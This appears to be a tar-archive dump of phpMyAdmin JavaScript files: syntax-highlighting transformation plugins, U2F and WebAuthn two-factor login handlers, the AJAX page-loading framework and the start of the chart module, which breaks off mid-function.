$('input.image-upload').off('change'); });dist/transformations/json.js000066600000001101151724472050012253 0ustar00/** * JSON syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/json.js', function () { var $elm = $('#page_content').find('code.json'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
        '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/json', $highlight[0]); $pre.hide(); } }); });dist/transformations/json_editor.js000066600000000610151724472050013625 0ustar00/** * JSON syntax highlighting transformation plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/json_editor.js', function () { $('textarea.transform_json_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, matchBrackets: true, indentUnit: 4, mode: 'application/json', lineWrapping: true }); }); });dist/transformations/sql_editor.js000066600000000413151724472050013454 0ustar00/** * SQL syntax highlighting transformation plugin js * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/sql_editor.js', function () { $('textarea.transform_sql_editor').each(function () { Functions.getSqlEditor($(this), {}, 'both'); }); });dist/transformations/xml.js000066600000001074151724472050012113 0ustar00/** * XML syntax highlighting transformation plugin */ AJAX.registerOnload('transformations/xml.js', function () { var $elm = $('#page_content').find('code.xml'); $elm.each(function () { var $json = $(this); var $pre = $json.find('pre'); /* We only care about visible elements to avoid double processing */ if ($pre.is(':visible')) { var $highlight = $('
        '); $json.append($highlight); CodeMirror.runMode($json.text(), 'application/xml', $highlight[0]); $pre.hide(); } }); });dist/transformations/xml_editor.js000066600000000515151724472050013460 0ustar00/** * XML editor plugin * * @package PhpMyAdmin */ AJAX.registerOnload('transformations/xml_editor.js', function () { $('textarea.transform_xml_editor').each(function () { CodeMirror.fromTextArea(this, { lineNumbers: true, indentUnit: 4, mode: 'application/xml', lineWrapping: true }); }); });dist/u2f.js000066600000005574151724472050006567 0ustar00/* global u2f */ // js/vendor/u2f-api-polyfill.js AJAX.registerOnload('u2f.js', function () { var $inputReg = $('#u2f_registration_response'); if ($inputReg.length > 0) { var $formReg = $inputReg.parents('form'); $formReg.find('input[type=submit]').hide(); setTimeout(function () { // A magic JS function that talks to the USB device. This function will keep polling for the USB device until it finds one. var request = JSON.parse($inputReg.attr('data-request')); u2f.register(request.appId, [request], JSON.parse($inputReg.attr('data-signatures')), function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorRegister, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputReg.val(JSON.stringify(data)); $formReg.trigger('submit'); }); }, 1000); } var $inputAuth = $('#u2f_authentication_response'); if ($inputAuth.length > 0) { var $formAuth = $inputAuth.parents('form'); $formAuth.find('input[type=submit]').hide(); setTimeout(function () { // Magic JavaScript talking to your HID // appid, challenge, authenticateRequests var request = JSON.parse($inputAuth.attr('data-request')); u2f.sign(request[0].appId, request[0].challenge, request, function (data) { // Handle returning error data if (data.errorCode && data.errorCode !== 0) { switch (data.errorCode) { case 5: Functions.ajaxShowMessage(Messages.strU2FTimeout, false, 'error'); break; case 4: Functions.ajaxShowMessage(Messages.strU2FErrorAuthenticate, false, 'error'); break; case 3: Functions.ajaxShowMessage(Messages.strU2FInvalidClient, false, 'error'); break; case 2: Functions.ajaxShowMessage(Messages.strU2FBadRequest, false, 'error'); break; default: Functions.ajaxShowMessage(Messages.strU2FUnknown, false, 'error'); break; } return; } // Fill and submit form. $inputAuth.val(JSON.stringify(data)); $formAuth.trigger('submit'); }); }, 1000); } });dist/webauthn.js000066600000007564151724472050007711 0ustar00/** * @param {ArrayBuffer} buffer * * @return {string} */ const arrayBufferToBase64 = buffer => { const bytes = new Uint8Array(buffer); let string = ''; for (const byte of bytes) { string += String.fromCharCode(byte); } return window.btoa(string); }; /** * @param {string} string * * @return {Uint8Array} */ const base64ToUint8Array = string => { return Uint8Array.from(window.atob(string), char => char.charCodeAt(0)); }; /** * @param {JQuery} $input * * @return {void} */ const handleCreation = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const creationOptionsJson = $input.attr('data-creation-options'); const creationOptions = JSON.parse(creationOptionsJson); const publicKey = creationOptions; publicKey.challenge = base64ToUint8Array(creationOptions.challenge); publicKey.user.id = base64ToUint8Array(creationOptions.user.id); if (creationOptions.excludeCredentials) { const excludedCredentials = []; for (let value of creationOptions.excludeCredentials) { let excludedCredential = value; excludedCredential.id = base64ToUint8Array(value.id); excludedCredentials.push(excludedCredential); } publicKey.excludeCredentials = excludedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.create({ publicKey: publicKey }).then(credential => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), attestationObject: arrayBufferToBase64(credential.response.attestationObject) } }); $input.val(credentialJson); $form.trigger('submit'); }).catch(error => Functions.ajaxShowMessage(error, false, 'error')); }; /** * @param {JQuery} $input * * @return {void} */ const handleRequest = $input => { const $form = $input.parents('form'); $form.find('input[type=submit]').hide(); const requestOptionsJson = $input.attr('data-request-options'); const requestOptions = JSON.parse(requestOptionsJson); const publicKey = requestOptions; publicKey.challenge = base64ToUint8Array(requestOptions.challenge); if (requestOptions.allowCredentials) { const allowedCredentials = []; for (let value of requestOptions.allowCredentials) { let allowedCredential = value; allowedCredential.id = base64ToUint8Array(value.id); allowedCredentials.push(allowedCredential); } publicKey.allowCredentials = allowedCredentials; } // eslint-disable-next-line compat/compat navigator.credentials.get({ publicKey: publicKey }).then(credential => { const credentialJson = JSON.stringify({ id: credential.id, rawId: arrayBufferToBase64(credential.rawId), type: credential.type, response: { authenticatorData: arrayBufferToBase64(credential.response.authenticatorData), clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON), signature: arrayBufferToBase64(credential.response.signature), userHandle: arrayBufferToBase64(credential.response.userHandle) } }); $input.val(credentialJson); $form.trigger('submit'); }).catch(error => Functions.ajaxShowMessage(error, false, 'error')); }; AJAX.registerOnload('webauthn.js', function () { if (!navigator.credentials || !navigator.credentials.create || !navigator.credentials.get || !window.PublicKeyCredential) { Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error'); return; } const $creationInput = $('#webauthn_creation_response'); if ($creationInput.length > 0) { handleCreation($creationInput); } const $requestInput = $('#webauthn_request_response'); if ($requestInput.length > 0) { handleRequest($requestInput); } });messages.php000066600000003404151724472050007100 0ustar00PHP 7.2.5+ is required.

        Currently installed version is: ' . PHP_VERSION . '

        '); } // phpcs:disable PSR1.Files.SideEffects define('PHPMYADMIN', true); // phpcs:enable require_once ROOT_PATH . 'libraries/constants.php'; /** * Activate autoloader */ if (! @is_readable(AUTOLOAD_FILE)) { die( '

        File ' . AUTOLOAD_FILE . ' missing or not readable.

        ' . '

        Most likely you did not run Composer to ' . '' . 'install library files.

        ' ); } require AUTOLOAD_FILE; chdir('..'); // Send correct type. header('Content-Type: text/javascript; charset=UTF-8'); // Cache output in client - the nocache query parameter makes sure that this file is reloaded when config changes. header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 3600) . ' GMT'); $isMinimumCommon = true; // phpcs:disable PSR1.Files.SideEffects define('PMA_PATH_TO_BASEDIR', '../'); define('PMA_NO_SESSION', true); // phpcs:enable Common::run(); $buffer = OutputBuffering::getInstance(); $buffer->start(); register_shutdown_function(static function (): void { echo OutputBuffering::getInstance()->getContents(); }); /** @var JavaScriptMessagesController $controller */ $controller = $containerBuilder->get(JavaScriptMessagesController::class); $controller(); src/ajax.js000066600000103723151724472050006635 0ustar00/** * This object handles ajax requests for pages. It also * handles the reloading of the main menu and scripts. * * @test-module AJAX */ var AJAX = { /** * @var {boolean} active Whether we are busy */ active: false, /** * @var {object} source The object whose event initialized the request */ source: null, /** * @var {object} xhr A reference to the ajax request that is currently running */ xhr: null, /** * @var {object} lockedTargets, list of locked targets */ lockedTargets: {}, // eslint-disable-next-line valid-jsdoc /** * @var {Function} callback Callback to execute after a successful request * Used by CommonActions from common.js */ callback: function () {}, /** * @var {boolean} debug Makes noise in your Firebug console */ debug: false, /** * @var {object} $msgbox A reference to a jQuery object that links to a message * box that is generated by Functions.ajaxShowMessage() */ $msgbox: null, /** * Given the filename of a script, returns a hash to be * used to refer to all the events registered for the file * * @param {string} key key The filename for which to get the event name * * @return {number} */ hash: function (key) { var newKey = key; /* https://burtleburtle.net/bob/hash/doobs.html#one */ newKey += ''; var len = newKey.length; var hash = 0; var i = 0; for (; i < len; ++i) { hash += newKey.charCodeAt(i); hash += (hash << 10); hash ^= (hash >> 6); } hash += (hash << 3); hash ^= (hash >> 11); hash += (hash << 15); return Math.abs(hash); }, /** * Registers an onload event for a file * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when the page is ready * * @return {self} For chaining */ registerOnload: function (file, func) { var eventName = 'onload_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file ); } return this; }, /** * Registers a teardown event for a file. This is useful to execute functions * that unbind events for page elements that are about to be removed. * * @param {string} file The filename for which to register the event * @param {Function} func The function to execute when * the page is about to be torn down * * @return {self} For chaining */ registerTeardown: function (file, func) { var eventName = 'teardown_' + AJAX.hash(file); $(document).on(eventName, func); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Registered event ' + eventName + ' for file ' + file ); } return this; }, /** * Called when a page has finished loading, once for every * file that registered to the onload event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireOnload: function (file) { var eventName = 'onload_' + AJAX.hash(file); $(document).trigger(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file ); } }, /** * Called just before a page is torn down, once for every * file that registered to the teardown event of that file. * * @param {string} file The filename for which to fire the event * * @return {void} */ fireTeardown: function (file) { var eventName = 'teardown_' + AJAX.hash(file); $(document).triggerHandler(eventName); if (this.debug) { // eslint-disable-next-line no-console console.log( // no need to translate 'Fired event ' + eventName + ' for file ' + file ); } }, /** * function to handle lock page mechanism * * @param event the event object * * @return {void} */ lockPageHandler: function (event) { // don't consider checkbox event if (typeof event.target !== 'undefined') { if (event.target.type === 'checkbox') { return; } } var newHash = null; var oldHash = null; var lockId; // CodeMirror lock if (event.data.value === 3) { newHash = event.data.content; oldHash = true; lockId = 'cm'; } else { // Don't lock on enter. if (0 === event.charCode) { return; } lockId = $(this).data('lock-id'); if (typeof lockId === 'undefined') { return; } /* * @todo Fix Code mirror does not give correct full value (query) * in textarea, it returns only the change in content. */ if (event.data.value === 1) { newHash = AJAX.hash($(this).val()); } else { newHash = AJAX.hash($(this).is(':checked')); } oldHash = $(this).data('val-hash'); } // Set lock if old value !== new value // otherwise release lock if (oldHash !== newHash) { AJAX.lockedTargets[lockId] = true; } else { delete AJAX.lockedTargets[lockId]; } // Show lock icon if locked targets is not empty. // otherwise remove lock icon if (!jQuery.isEmptyObject(AJAX.lockedTargets)) { $('#lock_page_icon').html(Functions.getImage('s_lock', Messages.strLockToolTip).toString()); } else { $('#lock_page_icon').html(''); } }, /** * resets the lock * * @return {void} */ resetLock: function () { AJAX.lockedTargets = {}; $('#lock_page_icon').html(''); }, handleMenu: { replace: function (content) { $('#floating_menubar').html(content) // Remove duplicate wrapper // TODO: don't send it in the response .children().first().remove(); $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); } }, /** * Event handler for clicks on links and form submissions * * @param {KeyboardEvent} event Event data * * @return {boolean | void} */ requestHandler: function (event) { // In some cases we don't want to handle the request here and either // leave the browser deal with it natively (e.g: file download) // or leave an existing ajax event handler present elsewhere deal with it var href = $(this).attr('href'); if (typeof event !== 'undefined' && (event.shiftKey || event.ctrlKey || event.metaKey)) { return true; } else if ($(this).attr('target')) { return true; } else if ($(this).hasClass('ajax') || $(this).hasClass('disableAjax')) { // reset the lockedTargets object, as specified AJAX operation has finished AJAX.resetLock(); return true; } else if (href && href.match(/^#/)) { return true; } else if (href && href.match(/^mailto/)) { return true; } else if ($(this).hasClass('ui-datepicker-next') || $(this).hasClass('ui-datepicker-prev') ) { return true; } if (typeof event !== 'undefined') { event.preventDefault(); event.stopImmediatePropagation(); } // triggers a confirm dialog if: // the user has performed some operations on loaded page // the user clicks on some link, (won't trigger for buttons) // the click event is not triggered by script if (typeof event !== 'undefined' && event.type === 'click' && event.isTrigger !== true && !jQuery.isEmptyObject(AJAX.lockedTargets) && confirm(Messages.strConfirmNavigation) === false ) { return false; } AJAX.resetLock(); var isLink = !! href || false; var previousLinkAborted = false; if (AJAX.active === true) { // Cancel the old request if abortable, when the user requests // something else. Otherwise silently bail out, as there is already // a request well in progress. if (AJAX.xhr) { // In case of a link request, attempt aborting AJAX.xhr.abort(); if (AJAX.xhr.status === 0 && AJAX.xhr.statusText === 'abort') { // If aborted AJAX.$msgbox = Functions.ajaxShowMessage(Messages.strAbortedRequest); AJAX.active = false; AJAX.xhr = null; previousLinkAborted = true; } else { // If can't abort return false; } } else { // In case submitting a form, don't attempt aborting return false; } } AJAX.source = $(this); $('html, body').animate({ scrollTop: 0 }, 'fast'); var url = isLink ? href : $(this).attr('action'); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=true' + argsep + 'ajax_page_request=true'; var dataPost = AJAX.source.getPostData(); if (! isLink) { params += argsep + $(this).serialize(); } else if (dataPost) { params += argsep + dataPost; isLink = false; } if (AJAX.debug) { // eslint-disable-next-line no-console console.log('Loading: ' + url); // no need to translate } if (isLink) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); // Save reference for the new link request AJAX.xhr = $.get(url, params, AJAX.responseHandler); var state = { url : href }; if (previousLinkAborted) { // hack: there is already an aborted entry on stack // so just modify the aborted one history.replaceState(state, null, href); } else { history.pushState(state, null, href); } } else { /** * Manually fire the onsubmit event for the form, if any. * The event was saved in the jQuery data object by an onload * handler defined below. Workaround for bug #3583316 */ var onsubmit = $(this).data('onsubmit'); // Submit the request if there is no onsubmit handler // or if it returns a value that evaluates to true if (typeof onsubmit !== 'function' || onsubmit.apply(this, [event])) { AJAX.active = true; AJAX.$msgbox = Functions.ajaxShowMessage(); if ($(this).attr('id') === 'login_form') { $.post(url, params, AJAX.loginResponseHandler); } else { $.post(url, params, AJAX.responseHandler); } } } }, /** * Response handler to handle login request from login modal after session expiration * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ loginResponseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } Functions.ajaxRemoveMessage(AJAX.$msgbox); CommonParams.set('token', data.new_token); AJAX.scriptHandler.load([]); if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
        ', { id : 'pma_errors', class : 'clearfloat d-print-none' }) .insertAfter('#selflink') .append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1' ) { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof data.success !== 'undefined' && data.success) { // reload page if user trying to login has changed if (CommonParams.get('user') !== data.params.user) { window.location = 'index.php'; Functions.ajaxShowMessage(Messages.strLoading, false); AJAX.active = false; AJAX.xhr = null; return; } // remove the login modal if the login is successful otherwise show error. if (typeof data.logged_in !== 'undefined' && data.logged_in === 1) { if ($('#modalOverlay').length) { $('#modalOverlay').remove(); } $('fieldset.disabled_for_expiration').removeAttr('disabled').removeClass('disabled_for_expiration'); AJAX.fireTeardown('functions.js'); AJAX.fireOnload('functions.js'); } if (typeof data.new_token !== 'undefined') { $('input[name=token]').val(data.new_token); } } else if (typeof data.logged_in !== 'undefined' && data.logged_in === 0) { $('#modalOverlay').replaceWith(data.error); } else { Functions.ajaxShowMessage(data.error, false); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * Called after the request that was initiated by this.requestHandler() * has completed successfully or with a caught error. For completely * failed requests or requests with uncaught errors, see the .ajaxError * handler at the bottom of this file. * * To refer to self use 'AJAX', instead of 'this' as this function * is called in the jQuery context. * * @param {object} data Event data * * @return {void} */ responseHandler: function (data) { if (typeof data === 'undefined' || data === null) { return; } // Can be a string when an error occurred and only HTML was returned. if (typeof data === 'string') { Functions.ajaxRemoveMessage(AJAX.$msgbox); Functions.ajaxShowMessage($(data).text(), false, 'error'); AJAX.active = false; AJAX.xhr = null; return; } if (typeof data.success !== 'undefined' && data.success) { $('html, body').animate({ scrollTop: 0 }, 'fast'); Functions.ajaxRemoveMessage(AJAX.$msgbox); if (data.redirect) { Functions.ajaxShowMessage(data.redirect, false); AJAX.active = false; AJAX.xhr = null; return; } AJAX.scriptHandler.reset(function () { if (data.reloadNavigation) { Navigation.reload(); } if (data.title) { $('title').replaceWith(data.title); } if (data.menu) { var state = { url : data.selflink, menu : data.menu }; history.replaceState(state, null); AJAX.handleMenu.replace(data.menu); } if (data.disableNaviSettings) { Navigation.disableSettings(); } else { Navigation.ensureSettings(data.selflink); } // Remove all containers that may have // been added outside of #page_content $('body').children() .not('div.modal') .not('#pma_navigation') .not('#floating_menubar') .not('#page_nav_icons') .not('#page_content') .not('#selflink') .not('#pma_header') .not('#pma_footer') .not('#pma_demo') .not('#pma_console_container') .not('#prefs_autoload') .remove(); // Replace #page_content with new content if (data.message && data.message.length > 0) { $('#page_content').replaceWith( '
        ' + data.message + '
        ' ); Functions.highlightSql($('#page_content')); Functions.checkNumberOfFields(); } if (data.selflink) { var source = data.selflink.split('?')[0]; // Check for faulty links var $selflinkReplace = { 'index.php?route=/import': 'index.php?route=/table/sql', 'index.php?route=/table/chart': 'index.php?route=/sql', 'index.php?route=/table/gis-visualization': 'index.php?route=/sql' }; if ($selflinkReplace[source]) { var replacement = $selflinkReplace[source]; data.selflink = data.selflink.replace(source, replacement); } $('#selflink').find('> a').attr('href', data.selflink); } if (data.params) { CommonParams.setAll(data.params); } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
        ', { id : 'pma_errors', class : 'clearfloat d-print-none' }) .insertAfter('#selflink') .append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1' ) { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop:$(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof AJAX.callback === 'function') { AJAX.callback.call(); } AJAX.callback = function () {}; }); } else { Functions.ajaxShowMessage(data.error, false); Functions.ajaxRemoveMessage(AJAX.$msgbox); var $ajaxError = $('
        '); $ajaxError.attr({ 'id': 'ajaxError' }); $('#page_content').append($ajaxError); $ajaxError.html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * This object is in charge of downloading scripts, * keeping track of what's downloaded and firing * the onload event for them when the page is ready. */ scriptHandler: { /** * @var {string[]} scripts The list of files already downloaded */ scripts: [], /** * @var {string} scriptsVersion version of phpMyAdmin from which the * scripts have been loaded */ scriptsVersion: null, /** * @var {string[]} scriptsToBeLoaded The list of files that * need to be downloaded */ scriptsToBeLoaded: [], /** * @var {string[]} scriptsToBeFired The list of files for which * to fire the onload and unload events */ scriptsToBeFired: [], scriptsCompleted: false, /** * Records that a file has been downloaded * * @param {string} file The filename * @param {string} fire Whether this file will be registering * onload/teardown events * * @return {self} For chaining */ add: function (file, fire) { this.scripts.push(file); if (fire) { // Record whether to fire any events for the file // This is necessary to correctly tear down the initial page this.scriptsToBeFired.push(file); } return this; }, /** * Download a list of js files in one request * * @param {string[]} files An array of filenames and flags * @param {Function} callback * * @return {void} */ load: function (files, callback) { var self = this; var i; // Clear loaded scripts if they are from another version of phpMyAdmin. // Depends on common params being set before loading scripts in responseHandler if (self.scriptsVersion === null) { self.scriptsVersion = CommonParams.get('version'); } else if (self.scriptsVersion !== CommonParams.get('version')) { self.scripts = []; self.scriptsVersion = CommonParams.get('version'); } self.scriptsCompleted = false; self.scriptsToBeFired = []; // We need to first complete list of files to load // as next loop will directly fire requests to load them // and that triggers removal of them from // self.scriptsToBeLoaded for (i in files) { self.scriptsToBeLoaded.push(files[i].name); if (files[i].fire) { self.scriptsToBeFired.push(files[i].name); } } for (i in files) { var script = files[i].name; // Only for scripts that we don't already have if ($.inArray(script, self.scripts) === -1) { this.add(script); this.appendScript(script, callback); } else { self.done(script, callback); } } // Trigger callback if there is nothing else to load self.done(null, callback); }, /** * Called whenever all files are loaded * * @param {string} script * @param {Function?} callback * * @return {void} */ done: function (script, callback) { if ($.inArray(script, this.scriptsToBeFired)) { AJAX.fireOnload(script); } if ($.inArray(script, this.scriptsToBeLoaded)) { this.scriptsToBeLoaded.splice($.inArray(script, this.scriptsToBeLoaded), 1); } if (script === null) { this.scriptsCompleted = true; } /* We need to wait for last signal (with null) or last script load */ AJAX.active = (this.scriptsToBeLoaded.length > 0) || ! this.scriptsCompleted; /* Run callback on last script */ if (! AJAX.active && typeof callback === 'function') { callback(); } }, /** * Appends a script element to the head to load the scripts * * @param {string} name * @param {Function} callback * * @return {void} */ appendScript: function (name, callback) { var head = document.head || document.getElementsByTagName('head')[0]; var script = document.createElement('script'); var self = this; script.type = 'text/javascript'; var file = name.indexOf('vendor/') !== -1 ? name : 'dist/' + name; script.src = 'js/' + file + '?' + 'v=' + encodeURIComponent(CommonParams.get('version')); script.async = false; script.onload = function () { self.done(name, callback); }; head.appendChild(script); }, /** * Fires all the teardown event handlers for the current page * and rebinds all forms and links to the request handler * * @param {Function} callback The callback to call after resetting * * @return {void} */ reset: function (callback) { for (var i in this.scriptsToBeFired) { AJAX.fireTeardown(this.scriptsToBeFired[i]); } this.scriptsToBeFired = []; /** * Re-attach a generic event handler to clicks * on pages and submissions of forms */ $(document).off('click', 'a').on('click', 'a', AJAX.requestHandler); $(document).off('submit', 'form').on('submit', 'form', AJAX.requestHandler); callback(); } } }; /** * Here we register a function that will remove the onsubmit event from all * forms that will be handled by the generic page loader. We then save this * event handler in the "jQuery data", so that we can fire it up later in * AJAX.requestHandler(). * * See bug #3583316 */ AJAX.registerOnload('functions.js', function () { // Registering the onload event for functions.js // ensures that it will be fired for all pages $('form').not('.ajax').not('.disableAjax').each(function () { if ($(this).attr('onsubmit')) { $(this).data('onsubmit', this.onsubmit).attr('onsubmit', ''); } }); var $pageContent = $('#page_content'); /** * Workaround for passing submit button name,value on ajax form submit * by appending hidden element with submit button name and value. */ $pageContent.on('click', 'form input[type=submit]', function () { var buttonName = $(this).attr('name'); if (typeof buttonName === 'undefined') { return; } $(this).closest('form').append($('', { 'type' : 'hidden', 'name' : buttonName, 'value': $(this).val() })); }); /** * Attach event listener to events when user modify visible * Input,Textarea and select fields to make changes in forms */ $pageContent.on( 'keyup change', 'form.lock-page textarea, ' + 'form.lock-page input[type="text"], ' + 'form.lock-page input[type="number"], ' + 'form.lock-page select', { value:1 }, AJAX.lockPageHandler ); $pageContent.on( 'change', 'form.lock-page input[type="checkbox"], ' + 'form.lock-page input[type="radio"]', { value:2 }, AJAX.lockPageHandler ); /** * Reset lock when lock-page form reset event is fired * Note: reset does not bubble in all browser so attach to * form directly. */ $('form.lock-page').on('reset', function () { AJAX.resetLock(); }); }); /** * Page load event handler */ $(function () { var menuContent = $('
        ') .append($('#server-breadcrumb').clone()) .append($('#topmenucontainer').clone()) .html(); // set initial state reload var initState = ('state' in window.history && window.history.state !== null); var initURL = $('#selflink').find('> a').attr('href') || location.href; var state = { url : initURL, menu : menuContent }; history.replaceState(state, null); $(window).on('popstate', function (event) { var initPop = (! initState && location.href === initURL); initState = true; // check if popstate fired on first page itself if (initPop) { return; } var state = event.originalEvent.state; if (state && state.menu) { AJAX.$msgbox = Functions.ajaxShowMessage(); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; var url = state.url || location.href; $.get(url, params, AJAX.responseHandler); // TODO: Check if sometimes menu is not retrieved from server, // Not sure but it seems menu was missing only for printview which // been removed lately, so if it's right some dead menu checks/fallbacks // may need to be removed from this file and Header.php // AJAX.handleMenu.replace(event.originalEvent.state.menu); } }); }); /** * Attach a generic event handler to clicks * on pages and submissions of forms */ $(document).on('click', 'a', AJAX.requestHandler); $(document).on('submit', 'form', AJAX.requestHandler); /** * Gracefully handle fatal server errors * (e.g: 500 - Internal server error) */ $(document).on('ajaxError', function (event, request) { if (AJAX.debug) { // eslint-disable-next-line no-console console.log('AJAX error: status=' + request.status + ', text=' + request.statusText); } // Don't handle aborted requests if (request.status !== 0 || request.statusText !== 'abort') { var details = ''; var state = request.state(); if (request.status !== 0) { details += '
        ' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorCode, request.status)) + '
        '; } details += '
        ' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorText, request.statusText + ' (' + state + ')')) + '
        '; if (state === 'rejected' || state === 'timeout') { details += '
        ' + Functions.escapeHtml(Messages.strErrorConnection) + '
        '; } Functions.ajaxShowMessage( '', false ); AJAX.active = false; AJAX.xhr = null; } }); src/chart.js000066600000044450151724472050007014 0ustar00/** * Chart type enumerations */ var ChartType = { LINE : 'line', SPLINE : 'spline', AREA : 'area', BAR : 'bar', COLUMN : 'column', PIE : 'pie', TIMELINE: 'timeline', SCATTER: 'scatter' }; /** * Column type enumeration */ var ColumnType = { STRING : 'string', NUMBER : 'number', BOOLEAN : 'boolean', DATE : 'date' }; /** * Abstract chart factory which defines the contract for chart factories */ var ChartFactory = function () { }; ChartFactory.prototype = { createChart : function () { throw new Error('createChart must be implemented by a subclass'); } }; /** * Abstract chart which defines the contract for charts * * @param elementId * id of the div element the chart is drawn in */ var Chart = function (elementId) { this.elementId = elementId; }; Chart.prototype = { draw : function () { throw new Error('draw must be implemented by a subclass'); }, redraw : function () { throw new Error('redraw must be implemented by a subclass'); }, destroy : function () { throw new Error('destroy must be implemented by a subclass'); }, toImageString : function () { throw new Error('toImageString must be implemented by a subclass'); } }; /** * Abstract representation of charts that operates on DataTable where,
        *
          *
        • First column provides index to the data.
        • *
        • Each subsequent columns are of type * ColumnType.NUMBER and represents a data series.
        • *
        * Line chart, area chart, bar chart, column chart are typical examples. * * @param elementId * id of the div element the chart is drawn in */ var BaseChart = function (elementId) { Chart.call(this, elementId); }; BaseChart.prototype = new Chart(); BaseChart.prototype.constructor = BaseChart; BaseChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length < 2) { throw new Error('Minimum of two columns are required for this chart'); } for (var i = 1; i < columns.length; i++) { if (columns[i].type !== ColumnType.NUMBER) { throw new Error('Column ' + (i + 1) + ' should be of type \'Number\''); } } return true; }; /** * Abstract pie chart * * @param elementId * id of the div element the chart is drawn in */ var PieChart = function (elementId) { BaseChart.call(this, elementId); }; PieChart.prototype = new BaseChart(); PieChart.prototype.constructor = PieChart; PieChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length > 2) { throw new Error('Pie charts can draw only one series'); } return BaseChart.prototype.validateColumns.call(this, dataTable); }; /** * Abstract timeline chart * * @param elementId * id of the div element the chart is drawn in */ var TimelineChart = function (elementId) { BaseChart.call(this, elementId); }; TimelineChart.prototype = new BaseChart(); TimelineChart.prototype.constructor = TimelineChart; TimelineChart.prototype.validateColumns = function (dataTable) { var result = 